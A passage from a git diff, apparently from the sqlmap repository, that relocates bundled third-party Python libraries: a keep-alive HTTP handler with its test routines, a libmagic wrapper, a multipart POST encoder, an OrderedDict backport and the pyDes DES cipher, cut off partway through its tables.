k, v in req.headers.items(): + h.putheader(k, v) + h.endheaders() + if req.data: + h.send(data) + + def _get_connection(self, host): + return NotImplementedError + +class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): + def __init__(self): + KeepAliveHandler.__init__(self) + + def http_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + return HTTPConnection(host) + +class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): + def __init__(self, ssl_factory=None): + KeepAliveHandler.__init__(self) + if not ssl_factory: + try: + import sslfactory + ssl_factory = sslfactory.get_factory() + except ImportError: + pass + self._ssl_factory = ssl_factory + + def https_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + try: return self._ssl_factory.get_https_connection(host) + except AttributeError: return HTTPSConnection(host) + +class HTTPResponse(_http_client.HTTPResponse): + # we need to subclass HTTPResponse in order to + # 1) add readline() and readlines() methods + # 2) add close_connection() methods + # 3) add info() and geturl() methods + + # in order to add readline(), read must be modified to deal with a + # buffer. example: readline must read a buffer and then spit back + # one line at a time. The only real alternative is to read one + # BYTE at a time (ick). Once something has been read, it can't be + # put back (ok, maybe it can, but that's even uglier than this), + # so if you THEN do a normal read, you must first take stuff from + # the buffer. + + # the read method wraps the original to accomodate buffering, + # although read() never adds to the buffer. + # Both readline and readlines have been stolen with almost no + # modification from socket.py + + + def __init__(self, sock, debuglevel=0, strict=0, method=None): + if method: # the httplib in python 2.3 uses the method arg + _http_client.HTTPResponse.__init__(self, sock, debuglevel, method) + else: # 2.2 doesn't + _http_client.HTTPResponse.__init__(self, sock, debuglevel) + self.fileno = sock.fileno + self.code = None + self._method = method + self._rbuf = b"" + self._rbufsize = 8096 + self._handler = None # inserted by the handler later + self._host = None # (same) + self._url = None # (same) + self._connection = None # (same) + + _raw_read = _http_client.HTTPResponse.read + + def close(self): + if self.fp: + self.fp.close() + self.fp = None + if self._handler: + self._handler._request_closed(self, self._host, + self._connection) + + # Note: Patch for Python3 (otherwise, connections won't be reusable) + def _close_conn(self): + self.close() + + def close_connection(self): + self._handler._remove_connection(self._host, self._connection, close=1) + self.close() + + def info(self): + return self.headers + + def geturl(self): + return self._url + + def read(self, amt=None): + # the _rbuf test is only in this first if for speed. It's not + # logically necessary + if self._rbuf and not amt is None: + L = len(self._rbuf) + if amt > L: + amt -= L + else: + s = self._rbuf[:amt] + self._rbuf = self._rbuf[amt:] + return s + + s = self._rbuf + self._raw_read(amt) + self._rbuf = b"" + return s + + def readline(self, limit=-1): + data = b"" + i = self._rbuf.find('\n') + while i < 0 and not (0 < limit <= len(self._rbuf)): + new = self._raw_read(self._rbufsize) + if not new: break + i = new.find('\n') + if i >= 0: i = i + len(self._rbuf) + self._rbuf = self._rbuf + new + if i < 0: i = len(self._rbuf) + else: i = i+1 + if 0 <= limit < len(self._rbuf): i = limit + data, self._rbuf = self._rbuf[:i], self._rbuf[i:] + return data + + def readlines(self, sizehint = 0): + total = 0 + list = [] + while 1: + line = self.readline() + if not line: break + list.append(line) + total += len(line) + if sizehint and total >= sizehint: + break + return list + + +class HTTPConnection(_http_client.HTTPConnection): + # use the modified response class + response_class = HTTPResponse + +class HTTPSConnection(_http_client.HTTPSConnection): + response_class = HTTPResponse + +######################################################################### +##### TEST FUNCTIONS +######################################################################### + +def error_handler(url): + global HANDLE_ERRORS + orig = HANDLE_ERRORS + keepalive_handler = HTTPHandler() + opener = _urllib.request.build_opener(keepalive_handler) + _urllib.request.install_opener(opener) + pos = {0: 'off', 1: 'on'} + for i in (0, 1): + print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) + HANDLE_ERRORS = i + try: + fo = _urllib.request.urlopen(url) + foo = fo.read() + fo.close() + try: status, reason = fo.status, fo.reason + except AttributeError: status, reason = None, None + except IOError as e: + print(" EXCEPTION: %s" % e) + raise + else: + print(" status = %s, reason = %s" % (status, reason)) + HANDLE_ERRORS = orig + hosts = keepalive_handler.open_connections() + print("open connections:", hosts) + keepalive_handler.close_all() + +def continuity(url): + from hashlib import md5 + format = '%25s: %s' + + # first fetch the file with the normal http handler + opener = _urllib.request.build_opener() + _urllib.request.install_opener(opener) + fo = _urllib.request.urlopen(url) + foo = fo.read() + fo.close() + m = md5(foo) + print(format % ('normal urllib', m.hexdigest())) + + # now install the keepalive handler and try again + opener = _urllib.request.build_opener(HTTPHandler()) + _urllib.request.install_opener(opener) + + fo = _urllib.request.urlopen(url) + foo = fo.read() + fo.close() + m = md5(foo) + print(format % ('keepalive read', m.hexdigest())) + + fo = _urllib.request.urlopen(url) + foo = '' + while 1: + f = fo.readline() + if f: foo = foo + f + else: break + fo.close() + m = md5(foo) + print(format % ('keepalive readline', m.hexdigest())) + +def comp(N, url): + print(' making %i connections to:\n %s' % (N, url)) + + sys.stdout.write(' first using the normal urllib handlers') + # first use normal opener + opener = _urllib.request.build_opener() + _urllib.request.install_opener(opener) + t1 = fetch(N, url) + print(' TIME: %.3f s' % t1) + + sys.stdout.write(' now using the keepalive handler ') + # now install the keepalive handler and try again + opener = _urllib.request.build_opener(HTTPHandler()) + _urllib.request.install_opener(opener) + t2 = fetch(N, url) + print(' TIME: %.3f s' % t2) + print(' improvement factor: %.2f' % (t1/t2, )) + +def fetch(N, url, delay=0): + import time + lens = [] + starttime = time.time() + for i in _range(N): + if delay and i > 0: time.sleep(delay) + fo = _urllib.request.urlopen(url) + foo = fo.read() + fo.close() + lens.append(len(foo)) + diff = time.time() - starttime + + j = 0 + for i in lens[1:]: + j = j + 1 + if not i == lens[0]: + print("WARNING: inconsistent length on read %i: %i" % (j, i)) + + return diff + +def test_timeout(url): + global DEBUG + dbbackup = DEBUG + class FakeLogger: + def debug(self, msg, *args): print(msg % args) + info = warning = error = debug + DEBUG = FakeLogger() + print(" fetching the file to establish a connection") + fo = _urllib.request.urlopen(url) + data1 = fo.read() + fo.close() + + i = 20 + print(" waiting %i seconds for the server to close the connection" % i) + while i > 0: + sys.stdout.write('\r %2i' % i) + sys.stdout.flush() + time.sleep(1) + i -= 1 + sys.stderr.write('\r') + + print(" fetching the file a second time") + fo = _urllib.request.urlopen(url) + data2 = fo.read() + fo.close() + + if data1 == data2: + print(' data are identical') + else: + print(' ERROR: DATA DIFFER') + + DEBUG = dbbackup + + +def test(url, N=10): + print("checking error hander (do this on a non-200)") + try: error_handler(url) + except IOError as e: + print("exiting - exception will prevent further tests") + sys.exit() + print() + print("performing continuity test (making sure stuff isn't corrupted)") + continuity(url) + print() + print("performing speed comparison") + comp(N, url) + print() + print("performing dropped-connection check") + test_timeout(url) + +if __name__ == '__main__': + import time + import sys + try: + N = int(sys.argv[1]) + url = sys.argv[2] + except: + print("%s " % sys.argv[0]) + else: + test(url, N) diff --git a/thirdparty/magic/__init__.py b/thirdparty/magic/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/extra/magic/magic.py b/thirdparty/magic/magic.py similarity index 59% rename from extra/magic/magic.py rename to thirdparty/magic/magic.py index 87d6665112d..0a5c2575a93 100644 --- a/extra/magic/magic.py +++ b/thirdparty/magic/magic.py @@ -1,47 +1,55 @@ -#!/usr/bin/env python - """ -Adam Hupp +magic is a wrapper around the libmagic file identification library. + +Usage: -Reference: http://hupp.org/adam/hg/python-magic +>>> import magic +>>> magic.from_file("testdata/test.pdf") +'PDF document, version 1.2' +>>> magic.from_file("testdata/test.pdf", mime=True) +'application/pdf' +>>> magic.from_buffer(open("testdata/test.pdf").read(1024)) +'PDF document, version 1.2' +>>> -License: PSF (http://www.python.org/psf/license/) """ +import sys import os.path -import ctypes -import ctypes.util - -from ctypes import c_char_p, c_int, c_size_t, c_void_p -class MagicException(Exception): pass +class MagicException(Exception): + pass class Magic: """ - Magic is a wrapper around the libmagic C library. - + Magic is a wrapper around the libmagic C library. """ - def __init__(self, mime=False, magic_file=None): + def __init__(self, mime=False, magic_file=None, mime_encoding=False): """ Create a new libmagic wrapper. mime - if True, mimetypes are returned instead of textual descriptions + mime_encoding - if True, codec is returned magic_file - use a mime database other than the system default - """ + flags = MAGIC_NONE if mime: flags |= MAGIC_MIME + elif mime_encoding: + flags |= MAGIC_MIME_ENCODING self.cookie = magic_open(flags) magic_load(self.cookie, magic_file) + def from_buffer(self, buf): """ Identify the contents of `buf` """ + return magic_buffer(self.cookie, buf) def from_file(self, filename): @@ -56,10 +64,10 @@ def from_file(self, filename): return magic_file(self.cookie, filename) def __del__(self): - try: + # during shutdown magic_close may have been cleared already + if self.cookie and magic_close: magic_close(self.cookie) - except Exception, _: - pass + self.cookie = None _magic_mime = None _magic = None @@ -91,7 +99,37 @@ def from_buffer(buffer, mime=False): return m.from_buffer(buffer) try: - libmagic = ctypes.CDLL(ctypes.util.find_library('magic')) + libmagic = None + + import ctypes + import ctypes.util + + from ctypes import c_char_p, c_int, c_size_t, c_void_p + + # Let's try to find magic or magic1 + dll = ctypes.util.find_library('magic') or ctypes.util.find_library('magic1') + + # This is necessary because find_library returns None if it doesn't find the library + if dll: + try: + libmagic = ctypes.CDLL(dll) + except WindowsError: + pass + + if not libmagic or not libmagic._name: + platform_to_lib = {'darwin': ['/opt/local/lib/libmagic.dylib', + '/usr/local/lib/libmagic.dylib', + '/usr/local/Cellar/libmagic/5.10/lib/libmagic.dylib'], + 'win32': ['magic1.dll']} + for dll in platform_to_lib.get(sys.platform, []): + try: + libmagic = ctypes.CDLL(dll) + except OSError: + pass + + if not libmagic or not libmagic._name: + # It is better to raise an ImportError since we are importing magic module + raise ImportError('failed to find libmagic. Check your installation') magic_t = ctypes.c_void_p @@ -102,6 +140,11 @@ def errorcheck(result, func, args): else: return result + def coerce_filename(filename): + if filename is None: + return None + return filename.encode(sys.getfilesystemencoding()) + magic_open = libmagic.magic_open magic_open.restype = magic_t magic_open.argtypes = [c_int] @@ -109,7 +152,6 @@ def errorcheck(result, func, args): magic_close = libmagic.magic_close magic_close.restype = None magic_close.argtypes = [magic_t] - magic_close.errcheck = errorcheck magic_error = libmagic.magic_error magic_error.restype = c_char_p @@ -119,23 +161,30 @@ def errorcheck(result, func, args): magic_errno.restype = c_int magic_errno.argtypes = [magic_t] - magic_file = libmagic.magic_file - magic_file.restype = c_char_p - magic_file.argtypes = [magic_t, c_char_p] - magic_file.errcheck = errorcheck + _magic_file = libmagic.magic_file + _magic_file.restype = c_char_p + _magic_file.argtypes = [magic_t, c_char_p] + _magic_file.errcheck = errorcheck + + def magic_file(cookie, filename): + return _magic_file(cookie, coerce_filename(filename)) _magic_buffer = libmagic.magic_buffer _magic_buffer.restype = c_char_p _magic_buffer.argtypes = [magic_t, c_void_p, c_size_t] _magic_buffer.errcheck = errorcheck + def magic_buffer(cookie, buf): return _magic_buffer(cookie, buf, len(buf)) - magic_load = libmagic.magic_load - magic_load.restype = c_int - magic_load.argtypes = [magic_t, c_char_p] - magic_load.errcheck = errorcheck + _magic_load = libmagic.magic_load + _magic_load.restype = c_int + _magic_load.argtypes = [magic_t, c_char_p] + _magic_load.errcheck = errorcheck + + def magic_load(cookie, filename): + return _magic_load(cookie, coerce_filename(filename)) magic_setflags = libmagic.magic_setflags magic_setflags.restype = c_int @@ -148,45 +197,29 @@ def magic_buffer(cookie, buf): magic_compile = libmagic.magic_compile magic_compile.restype = c_int magic_compile.argtypes = [magic_t, c_char_p] -except: - pass -MAGIC_NONE = 0x000000 # No flags +except (ImportError, OSError): + from_file = from_buffer = lambda *args, **kwargs: MAGIC_UNKNOWN_FILETYPE +MAGIC_NONE = 0x000000 # No flags MAGIC_DEBUG = 0x000001 # Turn on debugging - MAGIC_SYMLINK = 0x000002 # Follow symlinks - MAGIC_COMPRESS = 0x000004 # Check inside compressed files - MAGIC_DEVICES = 0x000008 # Look at the contents of devices - MAGIC_MIME = 0x000010 # Return a mime string - +MAGIC_MIME_ENCODING = 0x000400 # Return the MIME encoding MAGIC_CONTINUE = 0x000020 # Return all matches - MAGIC_CHECK = 0x000040 # Print warnings to stderr - MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit - MAGIC_RAW = 0x000100 # Don't translate unprintable chars - MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors - MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files - MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files - MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries - MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type - MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details - MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files - MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff - MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran - MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens +MAGIC_UNKNOWN_FILETYPE = b"unknown" diff --git a/thirdparty/multipart/__init__.py b/thirdparty/multipart/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py new file mode 100644 index 00000000000..2f2389807ea --- /dev/null +++ b/thirdparty/multipart/multipartpost.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +02/2006 Will Holcomb + +Reference: http://odin.himinbi.org/MultipartPostHandler.py + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import io +import mimetypes +import os +import re +import stat +import sys + +from lib.core.compat import choose_boundary +from lib.core.convert import getBytes +from lib.core.exception import SqlmapDataException +from thirdparty.six.moves import urllib as _urllib + +# Controls how sequences are uncoded. If true, elements may be given +# multiple values by assigning a sequence. +doseq = True + + +class MultipartPostHandler(_urllib.request.BaseHandler): + handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first + + def http_request(self, request): + data = request.data + + if isinstance(data, dict): + v_files = [] + v_vars = [] + + try: + for(key, value) in data.items(): + if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): + v_files.append((key, value)) + else: + v_vars.append((key, value)) + except TypeError: + systype, value, traceback = sys.exc_info() + raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) + + if len(v_files) == 0: + data = _urllib.parse.urlencode(v_vars, doseq) + else: + boundary, data = self.multipart_encode(v_vars, v_files) + contenttype = "multipart/form-data; boundary=%s" % boundary + #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0): + # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") + request.add_unredirected_header("Content-Type", contenttype) + + request.data = data + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + + return request + + def multipart_encode(self, vars, files, boundary=None, buf=None): + if boundary is None: + boundary = choose_boundary() + + if buf is None: + buf = b"" + + for (key, value) in vars: + if key is not None and value is not None: + buf += b"--%s\r\n" % getBytes(boundary) + buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) + buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" + + for (key, fd) in files: + file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] + filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] + try: + contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" + except: + # Reference: http://bugs.python.org/issue9291 + contenttype = b"application/octet-stream" + buf += b"--%s\r\n" % getBytes(boundary) + buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) + buf += b"Content-Type: %s\r\n" % getBytes(contenttype) + # buf += b"Content-Length: %s\r\n" % file_size + fd.seek(0) + + buf += b"\r\n%s\r\n" % fd.read() + + buf += b"--%s--\r\n\r\n" % getBytes(boundary) + buf = getBytes(buf) + + return boundary, buf + + https_request = http_request diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py new file mode 100644 index 00000000000..8571776ae42 --- /dev/null +++ b/thirdparty/odict/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +import sys + +if sys.version_info[:2] >= (2, 7): + from collections import OrderedDict +else: + from ordereddict import OrderedDict diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py new file mode 100644 index 00000000000..1cdd6f46edc --- /dev/null +++ b/thirdparty/odict/ordereddict.py @@ -0,0 +1,133 @@ +# Copyright (c) 2009 Raymond Hettinger +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. + +try: + from UserDict import DictMixin +except ImportError: + try: + from collections.abc import MutableMapping as DictMixin + except ImportError: + from collections import MutableMapping as DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = next(reversed(self)) + else: + key = next(iter(self)) + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + if len(self) != len(other): + return False + for p, q in zip(self.items(), other.items()): + if p != q: + return False + return True + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/extra/pydes/__init__.py b/thirdparty/pydes/__init__.py similarity index 100% rename from extra/pydes/__init__.py rename to thirdparty/pydes/__init__.py diff --git a/thirdparty/pydes/pyDes.py b/thirdparty/pydes/pyDes.py new file mode 100644 index 00000000000..5322bf10cf9 --- /dev/null +++ b/thirdparty/pydes/pyDes.py @@ -0,0 +1,852 @@ +############################################################################# +# Documentation # +############################################################################# + +# Author: Todd Whiteman +# Date: 16th March, 2009 +# Version: 2.0.1 +# License: Public Domain - free to do as you wish +# Homepage: http://twhiteman.netfirms.com/des.html +# +# This is a pure python implementation of the DES encryption algorithm. +# It's pure python to avoid portability issues, since most DES +# implementations are programmed in C (for performance reasons). +# +# Triple DES class is also implemented, utilising the DES base. Triple DES +# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. +# +# See the README.txt that should come with this python module for the +# implementation methods used. +# +# Thanks to: +# * David Broadwell for ideas, comments and suggestions. +# * Mario Wolff for pointing out and debugging some triple des CBC errors. +# * Santiago Palladino for providing the PKCS5 padding technique. +# * Shaya for correcting the PAD_PKCS5 triple des CBC errors. +# +"""A pure python implementation of the DES and TRIPLE DES encryption algorithms. + +Class initialization +-------------------- +pyDes.des(key, [mode], [IV], [pad], [padmode]) +pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) + +key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes + for Triple DES +mode -> Optional argument for encryption type, can be either + pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) +IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Length must be 8 bytes. +pad -> Optional argument, set the pad character (PAD_NORMAL) to use during + all encrypt/decrpt operations done with this instance. +padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) + to use during all encrypt/decrpt operations done with this instance. + +I recommend to use PAD_PKCS5 padding, as then you never need to worry about any +padding issues, as the padding can be removed unambiguously upon decrypting +data that was encrypted using PAD_PKCS5 padmode. + +Common methods +-------------- +encrypt(data, [pad], [padmode]) +decrypt(data, [pad], [padmode]) + +data -> Bytes to be encrypted/decrypted +pad -> Optional argument. Only when using padmode of PAD_NORMAL. For + encryption, adds this characters to the end of the data block when + data is not a multiple of 8 bytes. For decryption, will remove the + trailing characters that match this pad character from the last 8 + bytes of the unencrypted data block. +padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL + or PAD_PKCS5). Defaults to PAD_NORMAL. + + +Example +------- +from pyDes import * + +data = "Please encrypt my data" +k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) +# For Python3, you'll need to use bytes, i.e.: +# data = b"Please encrypt my data" +# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) +d = k.encrypt(data) +print "Encrypted: %r" % d +print "Decrypted: %r" % k.decrypt(d) +assert k.decrypt(d, padmode=PAD_PKCS5) == data + + +See the module source (pyDes.py) for more examples of use. +You can also run the pyDes.py file without and arguments to see a simple test. + +Note: This code was not written for high-end systems needing a fast + implementation, but rather a handy portable solution with small usage. + +""" + +import sys + +# _pythonMajorVersion is used to handle Python2 and Python3 differences. +_pythonMajorVersion = sys.version_info[0] + +# Modes of crypting / cyphering +ECB = 0 +CBC = 1 + +# Modes of padding +PAD_NORMAL = 1 +PAD_PKCS5 = 2 + +# PAD_PKCS5: is a method that will unambiguously remove all padding +# characters after decryption, when originally encrypted with +# this padding mode. +# For a good description of the PKCS5 padding technique, see: +# http://www.faqs.org/rfcs/rfc1423.html + +# The base class shared by des and triple des. +class _baseDes(object): + def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + if IV: + IV = self._guardAgainstUnicode(IV) + if pad: + pad = self._guardAgainstUnicode(pad) + self.block_size = 8 + # Sanity checking of arguments. + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if IV and len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + + # Set the passed in variables + self._mode = mode + self._iv = IV + self._padding = pad + self._padmode = padmode + + def getKey(self): + """getKey() -> bytes""" + return self.__key + + def setKey(self, key): + """Will set the crypting key for this object.""" + key = self._guardAgainstUnicode(key) + self.__key = key + + def getMode(self): + """getMode() -> pyDes.ECB or pyDes.CBC""" + return self._mode + + def setMode(self, mode): + """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" + self._mode = mode + + def getPadding(self): + """getPadding() -> bytes of length 1. Padding character.""" + return self._padding + + def setPadding(self, pad): + """setPadding() -> bytes of length 1. Padding character.""" + if pad is not None: + pad = self._guardAgainstUnicode(pad) + self._padding = pad + + def getPadMode(self): + """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + return self._padmode + + def setPadMode(self, mode): + """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" + self._padmode = mode + + def getIV(self): + """getIV() -> bytes""" + return self._iv + + def setIV(self, IV): + """Will set the Initial Value, used in conjunction with CBC mode""" + if not IV or len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + IV = self._guardAgainstUnicode(IV) + self._iv = IV + + def _padData(self, data, pad, padmode): + # Pad data depending on the mode + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + + if padmode == PAD_NORMAL: + if len(data) % self.block_size == 0: + # No padding required. + return data + + if not pad: + # Get the default padding. + pad = self.getPadding() + if not pad: + raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") + data += (self.block_size - (len(data) % self.block_size)) * pad + + elif padmode == PAD_PKCS5: + pad_len = 8 - (len(data) % self.block_size) + if _pythonMajorVersion < 3: + data += pad_len * chr(pad_len) + else: + data += bytes([pad_len] * pad_len) + + return data + + def _unpadData(self, data, pad, padmode): + # Unpad data depending on the mode. + if not data: + return data + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if padmode is None: + # Get the default padding mode. + padmode = self.getPadMode() + + if padmode == PAD_NORMAL: + if not pad: + # Get the default padding. + pad = self.getPadding() + if pad: + data = data[:-self.block_size] + \ + data[-self.block_size:].rstrip(pad) + + elif padmode == PAD_PKCS5: + if _pythonMajorVersion < 3: + pad_len = ord(data[-1]) + else: + pad_len = data[-1] + data = data[:-pad_len] + + return data + + def _guardAgainstUnicode(self, data): + # Only accept byte strings or ascii unicode values, otherwise + # there is no way to correctly decode the data into bytes. + if _pythonMajorVersion < 3: + if isinstance(data, unicode): + raise ValueError("pyDes can only work with bytes, not Unicode strings.") + else: + if isinstance(data, str): + # Only accept ascii unicode values. + try: + return data.encode('ascii') + except UnicodeEncodeError: + pass + raise ValueError("pyDes can only work with encoded strings, not Unicode.") + return data + +############################################################################# +# DES # +############################################################################# +class des(_baseDes): + """DES encryption/decrytpion class + + Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. + + pyDes.des(key,[mode], [IV]) + + key -> Bytes containing the encryption key, must be exactly 8 bytes + mode -> Optional argument for encryption type, can be either pyDes.ECB + (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) + IV -> Optional Initial Value bytes, must be supplied if using CBC mode. + Must be 8 bytes in length. + pad -> Optional argument, set the pad character (PAD_NORMAL) to use + during all encrypt/decrpt operations done with this instance. + padmode -> Optional argument, set the padding mode (PAD_NORMAL or + PAD_PKCS5) to use during all encrypt/decrpt operations done + with this instance. + """ + + + # Permutation and translation tables for DES + __pc1 = [56, 48, 40, 32, 24, 16, 8, + 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, + 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, + 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, + 20, 12, 4, 27, 19, 11, 3 + ] + + # number left rotations of pc1 + __left_rotations = [ + 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 + ] + + # permuted choice key (table 2) + __pc2 = [ + 13, 16, 10, 23, 0, 4, + 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, + 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, + 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, + 45, 41, 49, 35, 28, 31 + ] + + # initial permutation IP + __ip = [57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7, + 56, 48, 40, 32, 24, 16, 8, 0, + 58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6 + ] + + # Expansion table for turning 32 bit blocks into 48 bits + __expansion_table = [ + 31, 0, 1, 2, 3, 4, + 3, 4, 5, 6, 7, 8, + 7, 8, 9, 10, 11, 12, + 11, 12, 13, 14, 15, 16, + 15, 16, 17, 18, 19, 20, + 19, 20, 21, 22, 23, 24, + 23, 24, 25, 26, 27, 28, + 27, 28, 29, 30, 31, 0 + ] + + # The (in)famous S-boxes + __sbox = [ + # S1 + [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 